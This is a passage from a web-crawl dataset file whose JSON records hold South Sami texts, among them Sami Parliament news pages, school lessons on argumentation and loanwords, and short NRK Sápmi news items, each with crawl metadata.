vaarjojne vitnie, jïh gïesie-prinse jallh gïesie-prinsessa sjædta. Gærja lea åarjelsaemien- jïh daaroengïelesne. Gærja aaj noerhtesaemiengïelesne\/daaroengïelesne jïh julevsaemiengïelesne\/daaroengïelesne gååvnese.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/ovttas.no\/sma\/girji_atrata","date":"2024-04-17T21:28:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817181.55\/warc\/CC-MAIN-20240417204934-20240417234934-00040.warc.gz","language":"sma","language_score":1.0000008345,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000008344650269}","num_words":65,"character_repetition_ratio":0.09,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.154,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Lïerh dan bïjre\nSkarvan jïh Roltdalesne jïjnjh gieltegs kreekh, sjædtoeh jïh kultuvremojhtesh. Jis ånnetji dajven bïjre daajra åvtelen tuvresne mïnnie, dellie tuvre sagki buerebe sjædta. Daesnie gåarede ånnetji lïeredh dan bïjre mij lea åålmegemiehtjesne jïh dan byjreskisnie.\nVuartesjh dejtie ovmessie teemide mah leah gårroehbielesne juktie vielie lïeredh ledtiej jïh kreeki bïjre, ovmessie kultuvremojhtesh, mah tjahkh åålmegemiehtjesne jïh jïjnje vielie.\nDaesnie goernegierkieh baavhkeme Høgfjellesne. Guvvie: Christine Svarva Nielsen","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/midtnorsknatur.no\/se-NO\/SkarvanRoltdalen\/LaerOm.aspx","date":"2013-05-22T11:05:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368701614932\/warc\/CC-MAIN-20130516105334-00091-ip-10-60-113-184.ec2.internal.warc.gz","language":"sma","language_score":0.9999963045,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999963045120239}","num_words":67,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.194,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie edtja saemiej politihkeles sijjiem veaksahbåbpoe darjodh jïh saemiej iedtjh skreejredh Nöörjesne jïh sjïehteladtedh guktie saemieh maehtieh sov gïelem, sov kultuvrem jïh sov siebriedahkejieledem gorredidh jïh evtiedidh.Saemiedigkien bïjre\n-\nSaernieOđasmahttojuvvon ovttasbargošiehtadus gaskal Sámedikki ja Statskog\nSámediggi ja Statskogleat soahpan ođasmahttit ovttasbargošiehtadusa. Šiehtadusas, mii vuolláičállojuvvon ođđajagimánu 13. b., lea dat ođas ahte Statskog ja Sámediggi galget láhčit dasa ahte nannet gulahallama gaskal huksejeddjiid ja sámi vuoigatvu...\n-\nSaernieSaemien gïeleprosjekth ræhpas ohtsememieriem åtna 2015 raejeste\nDåarjoeöörnege saemien gïeleprosjektide ræhpas ohtsememieriem åtna 2015 raejeste. Dan åvteste maahta ohtsemidie sïjse seedtedh abpe jaepiem, jïh dah iktemearan gïetesuvvieh.\n-\nSaernieSámedikki presideanta ođđajagi sárdni\nDá lea Sámedikki presideantta Aili Keskitalo ođđajagisárdni maid doalai NRK1s 01.01.15.\n-\nSaernieAkte budsjedte veartenen aalkoealmetjidie\nSaemiedigkien budsjedtesne 2015 dihte gaskenasjovnaale barkoe jååhkesjæmman aalkoealmetji reaktijste prioriteradamme sjædta. Dovne dan åvteste dihte mijjeste tsïhkestahteme sjædta, jïh dan åvteste almetjereaktah sïejhmelaakan leah behtjiedimmien nuelesne gaskenasjovnaale.\n-\nSaernieLissiehtamme stipendeåasah jïh vijriedamme ulmiedåehkie stipendese learoehkidie mej saemien faagegievlesne\nSaemiedigkie jåarhka stipendem vedtdh learoehkidie mej saemien gïele faagegievlesne jåarhkeskuvlesne aaj 2015. Dïhte mij lea orre 2015 lea aaj bielietïjjen learohkh mej saemien gïele faagegievlesne, nuepiem utnieh stipendem ohtsedh jïh stipe...\n-\nSaernieGuolástusvuođu billisteapmi\nSámediggeráđđi Silje Karine Muotka oaivvilda ahte rievdadusevttohusain maid Tveterås-lávdegoddi odne ovddidii leat hui stuorra ja duođalaš váikkuhusat guolástusaide Norggas.\nSeminaare jïh konferaanse\nMøte\nAejkiemierie\nGærjagåetieSaemiedigkien gærjagåetie lea akte bielie Saemiedigkien reeremistie. Gærjagåetie dam stööremes&nb...\nGærjagåetie","id":"","dump":"CC-MAIN-2015-06","url":"http:\/\/www.saemiedigkie.no\/","date":"2015-01-25T10:09:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2015-06\/segments\/1422115863825.66\/warc\/CC-MAIN-20150124161103-00105-ip-10-180-212-252.ec2.internal.warc.gz","language":"sma","language_score":0.9702446461,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9702446460723877, \"sme_Latn_score\": 0.02957344986498356}","num_words":208,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.111,"flagged_words_ratio":0.0,"lang_id_score":0.978,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie edtja saemiej politihkeles sijjiem veaksahbåbpoe darjodh jïh saemiej iedtjh skreejredh Nöörjesne jïh sjïehteladtedh guktie saemieh maehtieh sov gïelem, sov kultuvrem jïh sov siebriedahkejieledem gorredidh jïh evtiedidh.Saemiedigkien bïjre\n-\nSaernieDoarju sámi giellaarenaid Romssas\nGáisi, Gáivuona ja Omasvuona giellaguovddážat áigot čađahit oktasaš prošeavttaid ja fállat mánáide ja nuoraide ođđaáigásaš sámi giellaarenaid. Sámediggi juolluda 465 200 ru doarjaga\n-\nSaernieÁsahit resursajoavkku meahccegeavaheami várás\nSámediggeráđđi ásaha resursajoavkku mii galgá čuvget sámi meahccegeavaheami ja movt dálá hálddašeapmi lea heivehuvvon meahcásteddjiid dárbbuide. Resursajoavkkus leat meahcásteaddjit iešguđet guovlluin.\n-\nSaernieSuohkanreforbma ja sámi beroštumi\n\"Suohkanreforbma ja sámi beroštumit\" čielggadeapmi almmuhuvvo gaskavahkku čakčamánu 16.b. dii. 09.00. Dat almmuhuvvo preassakonferánssas mii lea Sámedikki auditorijas, Kárášjogas. Eambo suohkanreforbma birra.\n-\nSaernieSaemiedigkiebïevnese areale- jïh byjresepolitihken bïjre - Bööredimmie raeriejgujmie båetedh\nSaemiedigkieraerie raerieh sæjhta saemiedigkiebïevnesasse arealen jïh byjresen bïjre. Bïevnesen ulmie lea Saemiedigkien politihkem nænnoestehtedh dejnie gyhtjelassine areale- jïh byjreseligke haestemi bïjre mej uvte saemien siebriedahke tjåådtje t...\n-\nSaernieOrrestimmie Sámi Duodji-mïerhkeste\n- Daelie edtja aktem ektiesaemien barkoem darjodh juktie Sámi Duodji-mïerhkem orrestidh, jïh manne tuhtjem daate gaajh hijven, saemiedigkieraerie Silje Karine Muotka jeahta. Saemiedigkieraerie lea 500.000 kråvnah dåårjeme akten barkose mejnie Saem...\n-\nSaernieSaemien gievrie maahta bååstede\nDïhte åehpies gievrie Bindaeleste lea akte jieniebistie histovrijes kultuvredaevierijstie maam maahta bååstede deelledh saemien museumidie Bååstede-prosjekten sjïekenisnie.\nPolitihkeles siebrieSaemiedigkieraerie\nRaerie lea goh Saemiedigkien reerenasse, jïh dam biejjieladtje politihkeles barkoem reerie. Saemiedigkieraerien lïhtsegh leah nammoehtamme presidenteste, mij lea raerien åvtehke.\nStoerretjåanghkoe\nSaemiedigkien stoerretjåanghkoe lea Saemiedigkien bijjemes åårgane jïh faamoe. Stoerretjåanghkoeh sïejhmemes njieljien aejkien jaepien, seamma våhkoen goh moenehtsetjåanghkoeh.\nMij heannede?\nGærjagåetie\nGærjagåetie","id":"","dump":"CC-MAIN-2015-40","url":"http:\/\/www.saemiedigkie.no\/","date":"2015-10-07T15:40:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2015-40\/segments\/1443737867468.81\/warc\/CC-MAIN-20151001221747-00205-ip-10-137-6-227.ec2.internal.warc.gz","language":"sma","language_score":0.9246866107,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9246866106987, \"sme_Latn_score\": 0.07520026713609695}","num_words":235,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.111,"flagged_words_ratio":0.0,"lang_id_score":0.94,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie edtja saemiej politihkeles sijjiem veaksahbåbpoe darjodh jïh saemiej iedtjh skreejredh Nöörjesne jïh sjïehteladtedh guktie saemieh maehtieh sov gïelem, sov kultuvrem jïh sov siebriedahkejieledem gorredidh jïh evtiedidh.Saemiedigkien bïjre\n-\nSaernieBåetijen aejkien dajve-jïh byjresepolitihke Saepmesne\nSaemiedigkieraerie raerieh saemien siebriedahkeste sæjhta akten båetijen aejkien dajve-jïh byjresepolitihkese. Saemiedigkieraerie aktem tjïelkestimmiem buakta Saemiedigkien stoerretjåanghkose goeven.\n-\nSaernieLidteratuvrh maanide jïh noeride dåarjohte\nSaemiedigkieraerie lea daelie dåarjoem saemien lidteratuvrese dåårjeme jaapan 2015. Saemiedigkie ohtsemh åadtjoeji mahte 15 millijovnh kråvnaj åvteste dåarjoeöörnegen bijjelen tjiehpieslidteratuvrese, mearan dïhte ållesth mieriedåarjoe lea 6,3 mil...\n-\nSaernieDoarju nuorra guolásteddjiid\nDássážii dán jagi leat 18 olbmo ožžon doarjaga Sámedikkis oastit bivdofatnasa. Sámediggi lea juolludan 4 189 000 ruvnno doarjaga fanasoastimii ja dasa reaidduid, nannendihte rekruterema guolástusealáhusas.\n-\nSaernieSaemien maanah jïh noerh våaroehtamme sjidtieh aktene gaertjies saemiedigkiebudsjedtesne\nDaan biejjien Saemiedigkieraerie bæjhkohte sov budsjedteraeriestimmiem Saemiedægkan 2016. - Reerenassen raeriestimmie staatebudsjedtese gaertjiesåbpoe ekonomeles mierieh vadta juktie saemien siebriedahkem evtiedidh, saemiedigkieraerie Ann-Mari Thomassen vihteste.\n-\nSaernieSaemien filmh vååjnoeh gaskenasjovnaale filmefestivaalesne\nSaemiedigkiepresidente Aili Keskitalo lea stïeresne gaskenasjovnaale filmefestivaalesne imagineNATIVE Torontesne rïhkeden 14. - 18.b.\n-\nSaernieDoarju sámi giellaarenaid Romssas\nGáisi, Gáivuona ja Omasvuona giellaguovddážat áigot čađahit oktasaš prošeavttaid ja fállat mánáide ja nuoraide ođđaáigásaš sámi giellaarenaid. Sámediggi juolluda 465 200 ru doarjaga\n-\nSaernieÁsahit resursajoavkku meahccegeavaheami várás\nSámediggeráđđi ásaha resursajoavkku mii galgá čuvget sámi meahccegeavaheami ja movt dálá hálddašeapmi lea heivehuvvon meahcásteddjiid dárbbuide. Resursajoavkkus leat meahcásteaddjit iešguđet guovlluin.\nPolitihkeles siebrieSaemiedigkieraerie\nRaerie lea goh Saemiedigkien reerenasse, jïh dam biejjieladtje politihkeles barkoem reerie. Saemiedigkieraerien lïhtsegh leah nammoehtamme presidenteste, mij lea raerien åvtehke.\nStoerretjåanghkoe\nSaemiedigkien stoerretjåanghkoe lea Saemiedigkien bijjemes åårgane jïh faamoe. Stoerretjåanghkoeh sïejhmemes njieljien aejkien jaepien, seamma våhkoen goh moenehtsetjåanghkoeh.\nMij heannede?\nGærjagåetie\nGærjagåetie","id":"","dump":"CC-MAIN-2015-48","url":"http:\/\/www.saemiedigkie.no\/","date":"2015-11-25T10:08:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2015-48\/segments\/1448398445080.12\/warc\/CC-MAIN-20151124205405-00221-ip-10-71-132-137.ec2.internal.warc.gz","language":"sma","language_score":0.9786602259,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9786602258682251, \"sme_Latn_score\": 0.021281098946928978}","num_words":245,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.086,"flagged_words_ratio":0.0,"lang_id_score":0.983,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nyheter\n-\nKurs og aktivitetsleder Kuvsje jïh darjomeåvtehke Snåasen tjïeltesne akte raajan 100 % barkoe gååvnese goh kuvsje- jïh darjomeåvtehke Åarjelsaemien gïelen…Les mer »\n-\nEnhetsleder sørsamisk språk og kultur Snåasen tjïelte lea gaskoeh åarjelsaemien dajvesne. Gellie saemien gïehteldimmieh jïh åejvieladtjh leah Snåasesne, Saemien Sijte,…Les mer »\n-\nBuerie biejjieh gaajhkh dovnesh! Gïelem nastedh jïh Saemien Sijte gieltegs jïh lïerije biejjide bööredieh teemaj bïjre leekedimmie jïh beapmoejurjiehtimmie. Programme:…Les mer »\n-\nBuerie biejjie gaajhkh nyjsenæjjah! Daelie nyjsenæjjaj våaroe – Buerie båeteme Gïelebeasan\/faageles lissiefeeleme Staarese jïh DELLIE MAA-sápmi indigenous film & art…Les mer »","id":"","dump":"CC-MAIN-2017-04","url":"http:\/\/gielemnastedh.no\/","date":"2017-01-24T11:02:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-04\/segments\/1484560284405.58\/warc\/CC-MAIN-20170116095124-00367-ip-10-171-10-70.ec2.internal.warc.gz","language":"sma","language_score":0.9998359084,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9998359084129333}","num_words":81,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.173,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Krïevenassh rïektese-argumentasjovne\nÅnnetji aelhkieslaakan limh maahteme jiehtedh akte hijven argumeente lea argumeente mij tsavtsa. Men ij leah dan aelhkie. Argumeenth eah edtjh ajve tsevtsedh, dah edtjieh aaj töölledh mijjieh dejtie kraanskobe.\nMijjieh byörebe dan åvteste mijjem gihtjedh:\n- Argumeenth nænnoes?\n- Argumeenth maereles?\n- Man tjarke argumeenth viertiestamme vuestie-argumeentigujmie?\n- Gaajhkh vihkeles bielieh aamhtesisnie tjïelkestamme?\nMij akte hijven argumente?\n1. Hijven argumeente lea nænnoes\nGosse jiehtebe akte bagkesimmie lea nænnoes dellie mïelebe dïhte lea saatnan, jallh buajhkoes jïh eensi vååjnoe. Mijjen vuesiehtimmie-tjaalegisnie «Nihtieh kreeke-pryövenassh!» tjaelije gellie bagkesimmiejgujmie båata, vuesiehtimmien gaavhtan:\n- eah naan kreeke-pryövenassh vaaksjoeh\n- laake ij gååvnesh mij pryövenasse-kreekh vaarjelieh\nDoh jeanatjommes lohkijh eah sån nuekies maehtieh juktie maehtedh vuarjasjidh mejtie daah bagkesimmieh leah saetnies. Dah maehtieh veeljedh tjaelijem leajhtadidh, men byöroeh goerehtidh mejtie bagkesimmieh leah reaktoe. Dam byöroeh darjodh mejtie tjaeliejasse jaehkieh jallh ij.\n2. Akte hijven argumeente lea maereles\nMijjieh tjoerebe aaj gïehtjedidh tjaelije aamhtesasse kreeptjede. Gaajhkh argumeenth jïh premissh tjuerieh maereles årrodh. Jallh maehtebe jiehtedh argumeenth tjuerieh vihkelesvoetem utnedh dan gyhtjelassese maam tjaelije bæjjese vaalta:\n- Maereles aamhtesasse dotkijh kreekh hodtedieh jïh dah aaj kreekide buvvieh?\n- Maereles dotkijh kreeke-pryövenassh nåhtede juktie kosmetihkh, reejneme-mehtieh jïh plearoeh aath darjodh?\n- Man åvteste maereles?\nIj leah ajve tjaelije mij muana mejtie akte argumente lea maereles. Dïhte tjuara aaj lohkijem jaehkiehtidh daate argumeente lea vihkeles aamhtesasse.\n3. Akte hijven argumeente lea veaksehke\nMijjieh tjoerebe aaj vuarjasjidh mejtie tjaelijen argumeenth leah nuekies veaksehke vuestie-argumeenti vööste, dastegh dagkerh båetieh. Akte almetje mij aamhtesem voebnesje, maahta vuesiehtimmien gaavhtan aktine vuestie-argumeentine båetedh, goh daate:\n- Minngemes aejkien bioteknologije-dotkemh ahkedh buerebe dotkeme-resultath åådtjeme. Daelie dotkijh maehtieh orre dalkesh maadtoe-celline pryövedh. Jïh dle maehtieh sohtem dalkesistie vaeltedh eannan dalkesem kreekide jïh almetjidie pryövoeh. Naemhtie pryövenasse-kreekh eah daarpesjh sohtem åadtjodh.\nDagkeres rïektese-argumeente maahta vuesiehtimmien gaavhtan bagkesimmiem heajjoedidh.\nElliesvoete\nArgumentasjovne aktene tjaalegisnie maahta lissiehtidh jallh gaertjiedidh, jïebne jallh aktelaaketje årrodh. Aktene digkiedimmie-håalemisnie vuesiehtimmien gaavhtan, edtjh aktem tjïelke veanhtoem åehpiedehtedh jïh åenehkslaakan soptsestidh. Vihkeles naan vaenie, nænnoes argumeentigujmie båetedh mah dov veanhtoem dåarjoehtieh. Digkiedimmie-tjaalegisnie maahtah argumenteradidh akten vihties vuajnoen åvteste, men daesnie maahtah jienebh argumeenth meatan utnedh jïh vielie dej bïjre tjaeledh.\nGosse edtjh digkiedimmie-laavenjassem skuvlesne tjaeledh, dellie digkiedimmie-laavenasse krïevenassem åtna. Datne edtjh maereles argumeenth åehpiedehtedh dovne aamhtesen mietie jïh vööste, dejtie vuarjasjidh jïh mænngan aktine konklusjovnine båetedh.\nBaakoeh\nvuestie-argumeente\nmotargument\nbagkesimmie\npåstand\nelliesvoete\nhelhet\nKontekst\nKompetansemål\n- Læreplan i samisk som førstespråk\n- lytte til og vise åpenhet for andres argumentasjon og bruke relevante og saklige argumenter i diskusjoner\n- bruke kunnskap om retoriske appellformer i presentasjoner\n- bruke faglige kunnskaper og begreper i samtaler om tekst og språk\n- mestre ulike roller i samtaler, diskusjoner, dramatiseringer og presentasjoner\n- lese et representativt utvalg samtidstekster, skjønnlitteratur og sakprosa, og reflektere over innhold, form og formål\n- gjøre rede for argumentasjonen i andres tekster og skrive egne argumenterende tekster","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/ndla.no\/nb\/node\/172891?fag=126960","date":"2017-03-30T05:00:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218191986.44\/warc\/CC-MAIN-20170322212951-00490-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":0.9999934435,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999934434890747}","num_words":442,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.084,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Maam jïh mejnie govlesadtebe\nDah mah vihkielommes govlesadteme-tsiehkesne leah seedtije, dåastoje, dïjre jïh medijume. Gosse datne jeatjabidie almetjidie maam joem beavnah jallh buaktah, dellie datne leah seedtije. Gosse bïevnesh åadtjoeh dellie datne leah dåastoje. Dam maam datne saarnoeh, dej bïevnesi sisvege, mijjieh dïjrine gåhtjobe.\nMedijumen tjïrrh buektebe bïevnesh seedtijistie dåastoejasse seedtedh. Medijume lea persovneles goh prievie, soptsestalleme jïh SMS:e. Medijume lea aaj byjjes govlesadteme goh TV:e, raadijove jïh plaerieh. Sosijaale medijumh maehtieh dovne persovneles jïh byjjes årrodh.\nAlmetjidie daaletje siebriedahkesne lea vihkeles maehtedh hijvenlaakan govlesadtedh. Njaalmeldh jïh tjaaleldh govlesadtemen tjïrrh maahtah dov jïjtse åssjaldahki bïjre soptsestidh, dov mïelh jïh vuarjasjimmieh jeatjabidie almetjidie buektedh. Almetjh maehtieh aaj voejhkelidh datnem tsevtsedh. Jis ih datne dam aajhtsh dellie aelhkebe datnem tsevtsedh. Datne maahtah ovmessie såarhth tjaalegh darjodh, gïetine tjaeledh jallh digitaale vuekine. Datne aaj maahtah gïelem jïh hammoem sjïehtedidh ovmessie åssjelidie, dåastoejidie, tsiehkide jïh medijumidie.","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/ndla.no\/nb\/node\/162751?fag=126960","date":"2017-03-30T04:46:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218191986.44\/warc\/CC-MAIN-20170322212951-00157-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":1.0000070333,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000070333480835}","num_words":142,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.141,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Lööneme-baakoeh\nLohkh tjaalegem jïh darjoeh laavenjasside.\nPåaske\nDaam baakoem libie aaj, guktie jijnjem jeatjebem, bijbelehistovrijen baakoe, jøødijste åådtjeme. Dej gielesne, heebruven gielesne jiehtieh \"paasja\" jis dle manne buektehtem staaran jiehtedh. Dam jis gujhth dle mijjen hearra maahta staeriedidh. Mijjese dihte baakoe daaroen gielen baaktoe bøøti. Desnie jiehtieh påske. Dah jis baakoeh gusnie daaroen gielesne åenehks jallh guhkies –å\/-e, jiehtsh konsovnanti åvtelen, dejnie dihte -å\/-e værhtoej jih sjidti -åa- gosse edtjimh mijjem gielese sjiehtesjidh. Seammalaakan –o\/-ine. Nimhtie dam daaroen 'kort' mijjese sjædta kåarhte, daaroen 'port' mijjese påarhte, daaroen 'bort', mijjese båarhte.\nNimhtie dej beeli goh giele lij annje fierhten-beajjetje åtnosne jih ellies faamosne. Dillie giele jijtsistie buektehti dallah, orre baakoeh jeatjh gieleste, sjiehtesjadtedh jijtse gielen tjoejeme-systeemen, fovnetigken, mietie. Minngiebijstie biejjijste leah gujht dah daaroen baakoeh 'doktor', mij mijjese sjidti dåaktere, jih daaroen 'dukke\/dokke, mij mijjese sjidti dåågka. Nimhtie almetje maahta tjahkasjidh baakoeh goltelidh jih golteladtedh, mojhtelidh jih onterdidh mestie dam numhtie jallh namhtie sjidteme.\nNåå, jis påaskide elmieh jih nåake daelhkieh sjidtieh, delle gujht maehtidie tjihkedidh, saemien jih daaroen baakoeh baaltetidh. Nimhtie, manne sovmem, biejjie maahta varki nåhkelidh. Manne jis leam åådtjeme meatan årrodh, golteladtedh jih giehtjedidh, gosse bijbielistie mijjen gielese jarkoestidh. Mijjen hearra hov lea Maarhkåsen vaentjelem mijjen gielese jarkosteminie. Hearrah daarah gellieh gieleh tjoereme lieredh, dovne greekeri gielem jih jøødi, daaroen hebraisk. Gosse nåake daejredh guktie edtja staaran saemien gielese buektiehtidh jarkoestidh, dellie aajhtsimh, sagki buerebe daejredh guktie aalkoegieline tjåådtje, mejstie dam teevehtje\/tyske gielen jih daanske-gielen baaktoe daaroen gielese jarkoestamme. Dellie barre goh riekte-baalkam åadtjoejimh vaedtsedh, gosse åadtjoejimh daejredh guktie dam aalkoe-gielesne tjåådtje, guktie dam leah ussjedamme jih maam dam leah sijhteminie jiehtedh.\nBijbielistie gujht dejtie nommide aaj maahta mijjen gielen tjoejeme-systeemen jih tjaeleme-vuekien mietie jarkoestidh. Hijven gujht sjædta, vaentjelem åadtjodh mijjen jijtjemh gielesne lohkedh jih ij daarpesjh dabtedh gelliem lehkiem ov goh mijjen giele dan sæjngoeh, guktie daaroen giele duekesne vååjnoe jih govloe.\nJaahkenelkien Aanna1\n1. laavenjasse\n2. laavenjasse\n3. laavenjasse\nGuktie darhke daan bijjien, mejstie gïelijste dah jeenjemes lööneme-baakoeh båetieh?\nKontekst\nKompetansemål\n- Læreplan i samisk som førstespråk","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/ndla.no\/nb\/node\/171825?fag=126960","date":"2017-03-30T04:52:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218191986.44\/warc\/CC-MAIN-20170322212951-00618-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":0.9999921322,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999921321868896}","num_words":327,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.07,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Boelhke jïh scena\nHeannadimmie dorjehtimmesne lea daamtaj boelhkine jïh scenine juakeme. Maehtebe jiehtedh boelhke lea dorjehtimmien kapihtele. Juekeme dorjehtimmesne maahta årrodh vuesiehtimmien gaavhtan biejjeste jïjjese jallh sijjeste sæjjan.\nScena\nAktene boelhkesne gellie scenah. Scena lea unnemes biehkie dorjehtimmesne. Akte scena lea monologe jallh soptsestalleme seamma sijjesne jïh tïjjesne. Dah scenah målsoeh gosse råålle-gaagkoe scenese båata jallh sceneste vaadtsa.\nBaakoe\ndorjehtimmie\nskuespill\nKontekst\nKompetansemål\n- Læreplan i samisk som førstespråk\n- bruke faglige kunnskaper og begreper i samtaler om tekst og språk\n- mestre ulike roller i samtaler, diskusjoner, dramatiseringer og presentasjoner\n- lese et representativt utvalg samtidstekster, skjønnlitteratur og sakprosa, og reflektere over innhold, form og formål\n- bruke ulike estetiske virkemidler og uttrykksformer i sammensatte tekster","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/ndla.no\/nb\/node\/173897?fag=126960","date":"2017-05-24T10:24:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463607811.15\/warc\/CC-MAIN-20170524093528-20170524113528-00504.warc.gz","language":"sma","language_score":0.9958286881,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9958286881446838}","num_words":112,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.071,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate lea akte vïnhtse maam nuhtjie gosse gøøleminie. Daate dagkeres to-skrogskonstruksjovne, akte bielie daelie, dieves tjaetsine jih dihte mubpie bielie ennje gabpelde. Gïehtelin daam vïnhtsem dåvvodh gosse gåpmani.\nDaan vïnhtsesne 8 ton diesel maam straavveminie mearoese galka.\nDah jamhkelæjjah, lientsie jih gøøkte vinhtsh Røde Korseste desnie giehtjeminie jih vuerteminie mejtie buektiehtieh vïnhtsem bæjjese lutnjedh.\nDaate vïnhtse, gaedtie bealesne, Moen Marinesne, Kolvereidesne tjåådtje.","id":"","dump":"CC-MAIN-2017-34","url":"https:\/\/www.nrk.no\/sapmi\/diesele-mearoese-galka-1.12484687","date":"2017-08-17T06:44:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886102967.65\/warc\/CC-MAIN-20170817053725-20170817073725-00065.warc.gz","language":"sma","language_score":0.9999659061,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999659061431885}","num_words":61,"character_repetition_ratio":0.008,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.098,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daan våhkan dihte bæspa Tor B Jørgensen, Sør-Hålogaland, Gaalesne. Edtja guessiedidh jih vuejnedh guktie dihte kultuvrejieleme Gaalesne. Bearjadahken edtja maana- jih noereh skuvlem Gaalesne guessiedidh. Edtja aaj govledh guktie dah voeres almetjh Gaalesne veasoeminie. Sæjhta aaj daam Norgesvinduet Svenningdal AS sielskem guessiedidh jih minngemes dellie bearjedsiehkeden, åarjelsaemien gyrhkesjimmie, Maajhjaevrien gærhkoesne. Åarjelsaemien hearra Einar Bondeviken edtja gyrhkesjimmiem høøltedh.","id":"","dump":"CC-MAIN-2017-39","url":"https:\/\/www.nrk.no\/sapmi\/baespa-guessie-1.12371225","date":"2017-09-21T16:01:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818687833.62\/warc\/CC-MAIN-20170921153438-20170921173438-00110.warc.gz","language":"sma","language_score":0.9999915361,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999915361404419}","num_words":57,"character_repetition_ratio":0.092,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.088,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Maahtah tseegkemedåarjoen bïjre ohtsedh 1. boelhkese: Åestije-, jïh dorjese\/dïenesjefokuse jïh\/jallh 2. boelhkese: Evtiedimmie- jïh sjïdtemeboelhke.\nSaemiedigkie ulmine åtna duedtie edtja evtiesovvedh goh akte båetijen aajkan stuvreme jïh fryöjstehke jieleme saemien dajvine. Akte dejstie Saemiedigkien vihkielommes dïrregijstie juktie duedtiem evtiedidh lea Jielemelatjkose duadtan man bijre duedtiesiebrieh jïh Saemiedigkie seamadieh. Jielemelatjkosne gellie ovmessie dåarjoeöörnegh.\nFormålet med tilskuddsordningen er å sikre det finansielle grunnlaget til organisasjonene til partier og grupper som er representert i Sametinget\nSaemiedigkie dåarjoem vadta juktie sïejhme jïh sjïere sjïehteladteme learoevierhtieh maadthlïerehtæmman 